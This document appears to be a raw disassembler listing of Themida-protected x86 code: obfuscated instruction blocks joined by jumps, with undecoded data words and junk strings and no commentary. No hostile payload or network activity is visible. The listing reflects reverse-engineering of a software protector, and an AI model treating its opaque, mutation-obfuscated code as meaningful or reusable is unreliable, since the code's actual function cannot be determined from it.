		dd 4BD55h, 0EF890000h, 1980E95Dh, 1C890000h, 6CCBE924h
		dd 0F0010000h, 74FF505Eh, 48B0424h, 4C48124h, 8F000000h
		dd 285C2404h, 5C7868D0h, 1C890000h, 4BACE924h, 81AD0000h
		dd 4ECh, 24148900h, 0FFC746E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560E55:				; CODE XREF: Themida_:00564E6Dj
		add	esi, ebx
		pop	ebx
		add	esi, 4
		push	esi
		jmp	loc_55E8CE
; ---------------------------------------------------------------------------
		dd 0EDE9D7F7h
		db 0FBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560E6B:				; CODE XREF: Themida_:0055CA2Dj
		push	esi
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	ecx
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56907E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC812434h, 4, 89241C89h, 4B951E3h, 1000000h, 0E95059CBh
		dd 0FFFFE331h, 0FFB571E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560EB1:				; CODE XREF: Themida_:00569C26j
		add	al, bl
		pop	bx
		push	edx
		jmp	loc_56E522
; ---------------------------------------------------------------------------


loc_560EBB:				; CODE XREF: Themida_:0056922Aj
		pop	dx
		sub	bl, al
		push	edx
		push	7471h
		mov	[esp], ebx
		mov	bl, 75h
		add	bl, 95h
		mov	dl, bl
		pop	ebx
		push	cx
		jmp	loc_56FD73
; ---------------------------------------------------------------------------


loc_560ED7:				; CODE XREF: Themida_:0056FE27j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5699E7
; ---------------------------------------------------------------------------


loc_560EEC:				; CODE XREF: Themida_:00570986j
		push	esi
		mov	esi, 62F023F3h
		jmp	loc_56BCDE
; ---------------------------------------------------------------------------
		db 57h
		dd 4BFh, 4938E900h, 0F6810000h,	4E22A1h, 66EEF681h, 59E93DD9h
		dd 54000101h, 0E723E95Eh, 0F181FFFFh, 22C070C6h, 0E5E9D9F7h
		dd 0BB0000D7h, 45751481h, 4B06EBC1h, 0E956DBF7h, 0EF4Dh
		dd 4EC81h, 3C890000h, 81E78924h, 4C7h, 4C78100h, 57000000h
		dd 42474FFh, 0E62FE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560F5A:				; CODE XREF: Themida_:0055FBEFj
		add	edi, 0FFFFFFFFh
		add	edi, 0E3707D5Bh
		jmp	loc_565767
; ---------------------------------------------------------------------------
		db 31h
		dd 18E92404h, 0F6000054h, 0E1FAE9D1h, 305CFFFFh, 241C8BD8h
		dd 0DC18E9h, 0E9545700h, 12C6h,	0E9243431h, 0E107h
; ---------------------------------------------------------------------------


loc_560F94:				; CODE XREF: Themida_:0055CCEBj
		push	0A70h
		jmp	loc_560A54
; ---------------------------------------------------------------------------


loc_560F9E:				; CODE XREF: Themida_:00563C86j
		pop	esi
		sub	ecx, 4660B818h
		mov	edx, ecx
		jmp	loc_5604DE
; ---------------------------------------------------------------------------


loc_560FAC:				; CODE XREF: Themida_:00570524j
		shr	ebx, 3
		xor	ebx, 828A3h
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	2D37h
		mov	[esp], edx
		jmp	loc_56B70D
; ---------------------------------------------------------------------------
		db 89h
		dd 0FEBA2414h, 0C148D859h, 0EAC106E2h, 0B9EA8105h, 812F9F0Eh
		dd 0FC227F2h, 5AD121CBh, 0F751E1D1h, 0FEE92414h, 560000A7h
		dd 801935BEh, 81464664h, 883F92E6h, 59F6815Eh, 0E93B2062h
		dd 4DF7h
; ---------------------------------------------------------------------------


loc_561010:				; CODE XREF: Themida_:0056B4F9j
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_56D79D
; ---------------------------------------------------------------------------
		db 2Dh,	46h, 23h
		dd 0F00108DFh, 0DF234605h, 522C2D08h, 34FF32D2h, 0EC815E24h
		dd 4, 0E9242C89h, 3A5Eh, 4C281h, 0EBE90000h, 0F7FFFFF0h
		dd 2B7825D8h, 7E357893h, 0E9784679h, 4655h, 42474FFh, 8324348Bh
		dd 48F04C4h, 24248B24h,	83242489h, 0FF042404h, 505F2434h
		dd 0BABCE9h, 0AB0F6600h, 0E99C2404h, 0B69Fh, 0C143E952h
		dd 0F201FFFFh, 3D9FE9h,	242C8900h, 0A42297BDh, 0F8D6E93Bh
		dd 34FF0000h, 2434FF24h, 83240C8Bh, 0C48104C4h,	4, 0FBE95457h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5610BF:				; CODE XREF: Themida_:00569B1Bj
		pop	edi
		xor	ebp, [esp]
		jmp	loc_56C1BB
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 2434FF00h, 575DE95Fh, 0D8890000h, 0A7BF575Bh
		dd 0C1077428h, 0EF8107E7h, 546B3460h, 73E0E781h, 0C7813593h
		dd 0E9100C2h, 0C7EFE9h,	0FACF8100h, 81290D06h, 514B78C7h
		dd 8BFE0918h, 0C481243Ch, 4, 2744E9h
		db 0
; ---------------------------------------------------------------------------


loc_561119:				; CODE XREF: Themida_:0056EA90j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_56997B
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 8124248Bh, 4C5h, 4EC8300h, 0BB241C89h, 0AF95D27h, 6D9CBA52h
		dd 0D3E970CDh, 2D000056h, 6DBA7F00h, 20249205h,	0D8E95162h
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56115F:				; CODE XREF: Themida_:00570068j
		inc	esi
		jmp	loc_55F194
; ---------------------------------------------------------------------------
		db 1, 0D5h, 0E9h
		dd 0FFFFFA7Eh, 68FA874Fh, 111Bh, 0BE243489h, 6A1206FEh
		dd 0CE81D6F7h, 9235968h, 6D0CF681h, 0F6816107h,	5ECF6E6Ah
		dd 452CE9h, 298A2D00h, 0E9E9390Ch
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56119F:				; CODE XREF: Themida_:0055D3B3j
		sub	edx, ebp
		pop	ebp
		pop	ecx
		jmp	loc_5683D4
; ---------------------------------------------------------------------------
		dd 805AD508h, 88536DF5h, 5BFC88EFh, 6E7FE9h, 0B0685200h
		dd 8900006Ch, 4832424h,	535A0424h, 4BBh, 5BDA0100h, 4B850h
		dd 79E90000h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5611DB:				; CODE XREF: Themida_:0056B0CDj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	6CB3h
		mov	[esp], ebx
		push	6A5B229Eh
		mov	ebx, [esp]
		push	edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 4
		jmp	loc_564DCB
; ---------------------------------------------------------------------------


loc_56120B:				; CODE XREF: Themida_:0056C8A9j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_56C08A
; ---------------------------------------------------------------------------
		dw 1CF6h
		dd 0F7E99C24h, 81FFFFB1h, 4C1h,	240C8700h, 0F24248Bh, 0F568C8B7h
		dd 89000031h, 0DBE9240Ch, 5FFFFFB1h, 299BE781h,	0E7E930A2h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561253:				; CODE XREF: Themida_:00565663j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_560718
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 51592434h, 0FFD958E9h, 1C383FFh,	0F3A2BA52h
		dd 0DCE9BD4Ah, 100008Ch, 0EC8158C2h, 4,	81243489h, 4ECh
		dd 243C8900h, 541CA8BFh, 342DBE3Bh, 0FE299CB0h,	83243C8Bh
		dd 814E04C4h, 2D6F80C6h, 13CEE954h, 0F3810000h,	1D457F30h
		dd 0FFFB2FE9h, 243C8BFFh, 6804C483h, 1D972B49h,	8BEE015Eh
		dd 0F3E9242Ch, 660000A1h, 5324048Bh, 3B7A68h, 4EC8300h
		dd 53242489h, 4BBh, 245C0100h, 0CEE95B04h, 8B0000BBh, 65E92434h
		dd 68000090h, 4B99h, 180DE9h, 4EC8100h,	89000000h, 6853243Ch
		dd 38864304h, 0F0BEE95Bh, 8B66FFFFh, 0D1682404h, 89000057h
		dd 5E92404h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56132B:				; CODE XREF: Themida_:0056C133j
		add	esp, 4
		jmp	loc_5680C2
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2404h, 0D9E3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56133E:				; CODE XREF: Themida_:00568ACBj
		pop	esi
		sub	edx, ebx
		pop	ebx
		add	edx, 54D17CA5h
		add	edx, eax
		sub	edx, 54D17CA5h
		add	edx, 397402FEh
		jmp	loc_567C04
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF2434h, 0C4E90424h, 290000A7h, 243C8BFBh,	0E904C483h
		dd 8E94h, 89243489h, 69E957E6h,	89000060h, 9B9240Ch, 417C5650h
		dd 2ECEE181h, 0F18118F2h, 7276780Ch, 6807E9C1h,	2359h
		dd 0FFCEFBE9h, 0FD015DFFh, 83B1E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5613AA:				; CODE XREF: Themida_:005622CCj
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_565640
; ---------------------------------------------------------------------------


loc_5613BD:				; CODE XREF: Themida_:00567379j
		mov	esi, [esp]
		jmp	loc_55E98D
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 81E28952h, 4C2h, 0E1CAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5613D6:				; CODE XREF: Themida_:00570110j
		mov	[esp], edi
		mov	edi, 0A152185h
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		push	2A626292h
		pop	ecx
		shl	ecx, 5
		jmp	loc_56B225
; ---------------------------------------------------------------------------
		align 4
		dd 91B252F0h, 0CA80D2F6h, 0E5C2E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561402:				; CODE XREF: Themida_:0056EE84j
		push	dword ptr [edi+1Ch]
		push	edi
		mov	edi, esp
		jmp	loc_56DE38
; ---------------------------------------------------------------------------
aSBiIs3		db 'S»IÁIéµ3',0
		align 4
		dd 4B348834h, 0F603E9h,	6CC38100h, 0E95B9A79h, 0FFFFDDFEh
; ---------------------------------------------------------------------------


loc_56142C:				; CODE XREF: Themida_:0055E71Bj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	8CFh
		mov	[esp], ecx
		push	edx
		push	1D0D6686h
		pop	edx
		or	edx, 52B5547Bh
		and	edx, 4C6E2606h
		sub	edx, 0E049150Ch
		push	edx
		jmp	loc_563178
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4C181h, 0BDE90000h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561477:				; CODE XREF: Themida_:005701C2j
		mov	ebx, ebp
		jmp	loc_5633FD
; ---------------------------------------------------------------------------


loc_56147E:				; CODE XREF: Themida_:00562332j
		pop	ebp
		jmp	loc_566AFB
; ---------------------------------------------------------------------------
aBamgEsZ	db 'íMGÝeé',1Bh,'§',0
		dw 8100h
		dd 8557F6E9h, 81C10144h, 8557F6C1h, 92E95044h, 41000023h
		dd 0C6D6C181h, 0CF29C90Eh, 8BFD8959h, 0C481243Ch, 4, 875DEA01h
		dd 685C2414h, 39BFh, 0EA96E9h, 4C38100h, 56000000h, 678C68h
		dd 0C173E900h, 0EFC1FFFFh, 81EFD102h, 0CB282CC7h, 0C0E94F35h
		dd 87000063h, 87D5F7EFh, 32E951EFh, 520000DCh, 2A6A0ABAh
		dd 0B53BE97Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561502:				; CODE XREF: Themida_:00564AF4j
		push	3E1A760Eh
		pop	ebx
		sub	ebx, 7ECC07DFh
		jmp	loc_568F68
; ---------------------------------------------------------------------------
		db 58h
		dd 0BA52CF01h, 7C9820C9h, 7A93E9h
		db 0
; ---------------------------------------------------------------------------


loc_561521:				; CODE XREF: Themida_:00567B5Cj
		mov	ebx, 2B38A435h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_562BCC
; ---------------------------------------------------------------------------
		dw 90BDh
		dd 815E5953h, 0C50B55CDh, 0BFED8165h, 89A6803Fh, 0B51DE9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56154E:				; CODE XREF: Themida_:00567669j
		shl	eax, 4
		sub	eax, 0FFFEEF4Ch
		add	eax, edi
		jmp	loc_569722
; ---------------------------------------------------------------------------


loc_56155D:				; CODE XREF: Themida_:00571194j
		or	edi, eax
		pop	eax
		sub	edi, 643F6DDAh
		shr	edi, 8
		xor	edi, 35F13BB8h
		jmp	loc_56EAC0
; ---------------------------------------------------------------------------


loc_561574:				; CODE XREF: Themida_:0056914Fj
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_56C1CF
; ---------------------------------------------------------------------------
		dd 0FFAE9DE9h, 66AD66FFh, 0E69CE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56158E:				; CODE XREF: Themida_:005615E2j
		sub	ebx, 424F236Ah
		add	ebx, edx
		jmp	loc_568B13
; ---------------------------------------------------------------------------


loc_56159B:				; CODE XREF: Themida_:00568C77j
		dec	edi
		add	edi, 749D61E8h
		xor	edi, 7F9E730Bh
		sub	ebp, edi
		mov	edi, [esp]
		jmp	loc_56FD2E
; ---------------------------------------------------------------------------
aStd		db '[éâ„',0
		align 4
		dd 5C241C87h, 83C8B60Fh, 0C8904ECh, 53595424h, 0CED2E956h
		dd 0C381FFFFh, 39C36759h, 0EB81FB01h, 39C36759h, 826BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5615E1:				; CODE XREF: Themida_:0056D54Dj
		pop	esi
		jmp	loc_56158E
; ---------------------------------------------------------------------------
aZ4Smc		db ']‡4$éM–',0
		align 10h
		dd 51240489h, 101C5DB9h, 4EC8315h, 51240C89h, 0FFC0D7E9h
		dd 58E959FFh
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56160B:				; CODE XREF: Themida_:0055DC2Fj
		mov	esi, [esp]
		add	esp, 4


loc_561614:				; CODE XREF: Themida_:0056D2FAj
		push	7F70h
		mov	[esp], esi
		jmp	loc_56FCAD
; ---------------------------------------------------------------------------


loc_561621:				; CODE XREF: Themida_:0056280Cj
		add	edi, 3E6D7BF2h
		add	edi, ecx
		push	ecx
		mov	ecx, 3E6D7BF2h
		sub	edi, ecx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 512B7520h
		neg	ecx
		not	ecx
		sub	ecx, 79CB59BAh
		jmp	loc_56A06D
; ---------------------------------------------------------------------------


loc_56164D:				; CODE XREF: Themida_:0056FFADj
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_567F93
; ---------------------------------------------------------------------------


loc_56165A:				; CODE XREF: Themida_:0056200Fj
		mov	ebp, 77D730FCh
		jmp	loc_5703FC
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4BF57h, 0FD290000h, 0FFBA16E9h, 302568FFh
		dd 36E90000h, 3100000Ch, 4332404h, 0CD98E924h, 98B90000h
		dd 0F704E018h, 1E981D1h, 0F7000000h, 68D1h, 4810000h, 44720124h
		dd 240C2961h, 1242C81h,	59614472h, 0EB685655h, 0E9034E62h
		dd 8FBh, 148BD328h, 15E95724h, 5B000092h, 15AD589h, 0D2685DEFh
		dd 89000077h, 0CCE9242Ch, 5A00002Fh, 0F068C300h, 8900004Ch
		dd 12B1240Ch, 80F3C380h, 0D8E92BEBh, 0BA000031h, 615C3950h
		dd 7BDFC581h, 0D5296ADFh, 7BDFED81h, 0E95A6ADFh, 0FFFFB827h
; ---------------------------------------------------------------------------


loc_561710:				; CODE XREF: Themida_:0056DBBDj
		and	ebx, 240A4340h
		jmp	loc_56503D
; ---------------------------------------------------------------------------


loc_56171B:				; CODE XREF: Themida_:0056CEE8j
		add	esp, 4
		shl	edi, 6
		not	edi
		shl	edi, 6
		neg	edi
		jmp	loc_55E029
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 33243C31h, 35E9243Ch, 5DFFFFE2h, 0F5E9F501h,	8F000027h
		dd 248B2404h, 48B6624h,	2C48324h, 66D03166h, 3166C231h
		dd 0D2F766D0h, 31669266h, 0F83166C7h, 9A60E9h, 57D7F700h
		dd 0D808E9h, 6437BE00h,	0F3E943C2h, 8B00005Eh, 0C4832404h
		dd 40504h, 0A8680000h, 89000014h, 0F4E9241Ch, 2D00008Bh
		dd 0EBBDDBBBh, 158C301h, 25EB81C3h, 8155F64Fh, 0E03625EBh
		dd 24048B7Ch, 504C483h,	1CAA3A81h, 0FFE9D801h, 89000032h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 0FFC4B6E9h, 24248BFFh
		dd 24540166h, 148B6602h, 0E0895024h, 405h, 20500h, 4870000h
		dd 5A97E924h, 0B9510000h, 0A033C6Dh, 3C69F181h,	0CE010A03h
		dd 87E95559h, 0D000044h, 7216BE3h, 0C83BE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561812:				; CODE XREF: Themida_:0055D2DBj
		add	edx, esi
		jmp	loc_563C9C
; ---------------------------------------------------------------------------
		db 0E9h, 4, 0ACh
		dd 0C89FFFFh, 407F6824h, 2C890000h, 3D78BD24h, 0E98919B2h
		dd 0E57BE95Dh, 0BF57FFFFh, 3D2726A1h, 685FF929h, 56F0h
		dd 7650E9h, 0AFE95700h,	570000F5h, 564EFBFh, 0BDE95720h
		dd 8B0000A8h, 0BA522424h, 75214718h, 78685650h,	5E19D846h
		dd 0B11B951h, 95E96877h, 50FFFFCDh, 0D86B16B8h,	3C054027h
		dd 6842BF4Dh, 0
		dd 58240429h, 2414F750h, 0E9564058h, 0B7Ah
; ---------------------------------------------------------------------------


loc_561898:				; CODE XREF: Themida_:0056C726j
		push	ecx
		mov	ecx, 6B16D1A9h
		add	esi, ecx
		pop	ecx
		jmp	loc_5656D2
; ---------------------------------------------------------------------------
		db '[hÄ;',0
		align 4
		dd 0BA241489h, 4, 1FEFEB81h, 0C38164F1h, 31496BDBh, 0EB81D301h
		dd 31496BDBh, 6E94E9h, 0E9D83100h, 37C2h, 6824048Fh, 774Bh
		dd 0BD242C89h, 4, 27B850h, 44294DD7h, 48B0824h,	4C48324h
		dd 4244481h, 415376C3h,	4244481h, 2105773Fh, 4246C01h
		dd 4246C81h, 2105773Fh,	0E904EC83h, 8D7Fh, 835AD601h, 27E904ECh
		dd 83000049h, 0ACE904C4h, 0BBFFFFD0h, 39574F2Ch, 5A5BDE01h
		dd 1799E9h, 2434FF00h, 2F136858h, 3C890000h, 23E95424h
		dd 0FF0000FAh, 0FF042474h, 1BE92434h, 89000035h, 0E789243Ch
		dd 4C781h, 0C7830000h, 243C8704h, 0E9DFF75Ch, 0E931h
; ---------------------------------------------------------------------------


loc_561970:				; CODE XREF: Themida_:005659E4j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		push	ebx
		mov	ebx, 53A6056Eh
		mov	ebp, ebx
		jmp	loc_5691EF
; ---------------------------------------------------------------------------
		db 50h
		dd 651AE9h, 5DEE2100h, 532168h,	24148900h, 1F3E63BAh, 0C423E91Ch
		dd 77FF0000h, 59669D1Ch, 241CD366h, 0AA70E99Ch,	0E95BFFFFh
		dd 0D8B4h, 0A18DE951h, 0EB810000h, 7683DF9h, 81242C8Bh
		dd 4C4h, 0BFD4E900h, 0F800FFFFh, 2C6E2C5Bh, 4D82863h, 748BE963h
		dd 0EA350000h, 0C1478A26h, 0E0C106E0h, 0CBFCE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5619F2:				; CODE XREF: Themida_:0056C5AFj
		mov	eax, ebx
		mov	ebx, [esp]
		push	ecx
		jmp	loc_5691B6
; ---------------------------------------------------------------------------


loc_5619FD:				; CODE XREF: Themida_:00570737j
		push	ebx
		mov	ebx, 0A6118h
		jmp	loc_5679D5
; ---------------------------------------------------------------------------
		dd 0F66E1F6h, 6866CCB6h, 0DDE97023h, 89000061h,	2F68240Ch
		dd 8B475608h, 0EC81240Ch, 4, 89240C89h,	0FA34E9E1h, 0D828FFFFh
		dd 4A2768h, 241C8900h, 0F6531FB7h, 0E9012454h, 0AFDDh
		dd 0C681E689h, 4, 3302EE83h, 34312434h,	24343324h, 6624248Bh
		dd 66240489h, 0E9243C8Bh, 0E673h, 0E381D3F7h, 4FA54B40h
		dd 5948F381h, 0EB813222h, 59EA0A06h, 0A67CB81h,	0C3815436h
		dd 0A209D666h, 8EE9DD29h, 8B0000E9h, 89502434h,	405E0h
		dd 4050000h, 87000000h,	815C2404h, 574F2CEEh, 0BEE8139h
		dd 2977AF02h, 6BB951D6h, 0F71CF569h, 49D1F7D1h,	5D82C181h
		dd 0D1F7061Dh, 0AA5E9h,	81C32900h, 0D20475C3h, 1C335825h
		dd 241C3124h, 5C241C33h, 51241489h, 2BB63CB1h, 0E959CE28h
		dd 0A16Fh, 0E9242489h, 6681h, 2424895Ch, 43F0E9h, 5EB85000h
		dd 891EF737h, 0BA07E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561B0E:				; CODE XREF: Themida_:0056D399j
		add	dword ptr [esp+4], 0A0336E0h
		sub	[esp+4], edi
		push	ebx
		push	ecx
		jmp	loc_56C03B
; ---------------------------------------------------------------------------
aSmm		db '\éŒM',0
		db 0
; ---------------------------------------------------------------------------


loc_561B27:				; CODE XREF: Themida_:0056BABEj
		mov	edx, 0FFFFFFFFh
		sub	edi, 6694B20h
		jmp	loc_55C9EF
; ---------------------------------------------------------------------------
		db 2Dh
		dd 6EA434ACh, 0AC05F801h, 56EA434h, 19444B46h, 2837C62Dh
		dd 970D5F28h, 0F745A947h, 5FBB53D8h, 0C149AA1Ah, 0EB8103E3h
		dd 386E689Dh, 0BA00E9h
		db 0
; ---------------------------------------------------------------------------


loc_561B69:				; CODE XREF: Themida_:0055E165j
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	[edi+24h], ebx
		pop	ebx


loc_561B75:				; CODE XREF: Themida_:00561F6Bj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_56BAA3
; ---------------------------------------------------------------------------
		dd 8FB95150h, 8993B63Ah, 0E61DE9C8h, 68B8FFFFh,	0C13DD613h
		dd 519108E0h, 592414F7h, 8A7A3591h, 0C3292038h,	0FF535958h
		dd 5B042474h, 8B24048Fh, 8B662424h, 0B0682404h,	0E9000045h
		dd 0FFFFC691h
; ---------------------------------------------------------------------------


loc_561BD0:				; CODE XREF: Themida_:0055D793j
		mov	ebp, 1
		sub	eax, ebp
		pop	ebp
		add	eax, 3CC42C3Ch
		jmp	loc_567520
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0F2F7E924h, 215D0000h, 0B9E91C4Fh, 550000D0h, 0C5815D54h
		dd 4, 5504C583h, 42474FFh, 0F1CE95Dh, 0E9810000h, 6F5339FEh
		dd 0C8BCF89h, 4C48324h,	8904EC83h, 82BF243Ch, 8168D946h
		dd 5E0D37C7h, 5FF9290Ch, 0C181F901h, 753753B9h,	0BA5EE9h
		db 0
; ---------------------------------------------------------------------------


loc_561C39:				; CODE XREF: Themida_:00570EA6j
		add	esi, eax
		pop	eax
		pop	edx
		or	esi, 41631949h
		jmp	loc_562DA2
; ---------------------------------------------------------------------------


loc_561C48:				; CODE XREF: Themida_:0056A5F6j
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, esi
		add	ebp, 3DD43E0Ah
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2
		push	edx
		jmp	loc_56516B
; ---------------------------------------------------------------------------


loc_561C72:				; CODE XREF: Themida_:00564564j
		push	edx
		push	edx
		jmp	loc_56CF60
; ---------------------------------------------------------------------------


loc_561C79:				; CODE XREF: Themida_:00565DD9j
		pop	ecx
		sub	ecx, 56C857B2h
		neg	ecx
		dec	ecx
		xor	ecx, 49D97B91h
		push	ecx
		pop	ebp
		mov	ecx, [esp]
		jmp	loc_5629F5
; ---------------------------------------------------------------------------


loc_561C93:				; CODE XREF: Themida_:0055D9E5j
		mov	ebx, [esp]
		jmp	loc_55D054
; ---------------------------------------------------------------------------


loc_561C9B:				; CODE XREF: Themida_:0056272Cj
		pop	edi
		add	edx, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	eax
		mov	eax, 2
		sub	edx, eax
		mov	eax, [esp]
		push	esi
		jmp	loc_564E65
; ---------------------------------------------------------------------------
		dw 8158h
		dd 0A654DDC7h, 81EF2970h, 0A654DDEFh, 4A14E970h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561CD6:				; CODE XREF: Themida_:005638E0j
		pop	ebp
		jmp	loc_5702CF
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0F3C7h
; ---------------------------------------------------------------------------


loc_561CE4:				; CODE XREF: Themida_:005662D3j
		pop	edi
		shl	ebp, 5
		push	53Bh
		mov	[esp], ebx
		mov	ebx, 617C5122h
		inc	ebx
		xor	ebx, 0E1D4D67h
		xor	ebx, 656D5DCBh
		sub	ebx, 8B8DB9AFh
		add	ebp, ebx
		mov	ebx, [esp]
		push	eax
		jmp	loc_569661
; ---------------------------------------------------------------------------
		db 68h
		dd 2119h, 20D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_561D1D:				; CODE XREF: Themida_:00570A74j
		mov	edi, 1
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_563418
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 0CE34B4CFh, 9BBD5542h, 0E952FD42h, 9604h, 0FF2434FFh
		dd 0EE92434h, 2CFFFFCCh, 4D57E960h, 0E9550000h,	0FFFFC8C4h
		dd 81243489h, 4ECh, 240C8900h, 42446855h, 0C15D2CD5h, 814D05EDh
		dd 4F759F5h, 8BE98970h,	0C481242Ch, 4, 8105E9C1h, 0FFFFFFE9h
		dd 0F18141FFh, 46EE29D2h, 1175E981h, 4C31F8B9h,	34FF0424h
		dd 240C8B24h, 3326E9h, 28686600h, 14896668h, 0B4E9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561DBA:				; CODE XREF: Themida_:00566556j
		mov	esi, [esp]
		push	ecx
		jmp	loc_56D2E7
; ---------------------------------------------------------------------------
		db 83h
		dd 0CBFE04C4h, 308DC380h, 241C8BDAh, 8004C483h,	0D03068C2h
		dd 0FF2434FFh, 148B2434h, 0FB3DE924h, 34FFFFFFh, 54505F24h
		dd 40558h, 0C0830000h, 74FF5004h, 8F580424h, 54E92404h
		dd 890000B8h, 4C681E6h,	83000000h, 348704EEh, 0F3A5E924h
		dd 1C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_56DB5C
; ---------------------------------------------------------------------------
		dd 6910E951h, 81460000h, 22246F6h, 91EE8148h, 4E361032h
		dd 85BBEE81h, 0F0892D57h, 4EABE9h, 51292D00h, 1C8B6A0Bh
		dd 4C48324h, 60BC68h, 241C8900h, 0C1495EBBh, 5AF38161h
		dd 161C149h, 4875BD8h, 24248B24h, 5C240C87h, 9C2424D3h
		dd 0FFA599E9h, 241433FFh, 33241431h, 815C2414h,	4ECh, 24148900h
		dd 142168h, 24048900h, 26430EB8h, 432A680Ch, 148B0C26h
		dd 4C48324h, 5AE9C231h,	81000036h, 4FE259C1h, 348151F4h
		dd 0C2103524h, 0D1F6E965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561ECE:				; CODE XREF: Themida_:0055DB53j
		push	edi
		mov	edi, 5643652Eh
		shr	edi, 4
		push	ecx
		mov	ecx, 3E7F2B42h
		inc	ecx
		shl	ecx, 2
		xor	ecx, 82B0F321h
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, 80B0947Bh
		mov	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		jmp	loc_56AF50
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D58702EDh, 81D58742h, 9A784AC5h, 0DDC58172h, 174ABF6h
		dd 23E3E9EBh, 0E9C10000h, 3BC18107h, 0E9184E27h, 50D7h
		dd 5E802D5Ah, 0F0294FBFh, 63DAE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561F3A:				; CODE XREF: Themida_:0056DA75j
		mov	ch, 56h
		jmp	loc_5634FF
; ---------------------------------------------------------------------------


loc_561F41:				; CODE XREF: Themida_:0056B1C4j
		and	ebx, eax
		pop	eax
		add	ebx, 39881D92h
		sub	edx, 3BF4F66h
		sub	edx, ebx
		add	edx, 3BF4F66h
		pop	ebx
		jmp	loc_5656D8
; ---------------------------------------------------------------------------
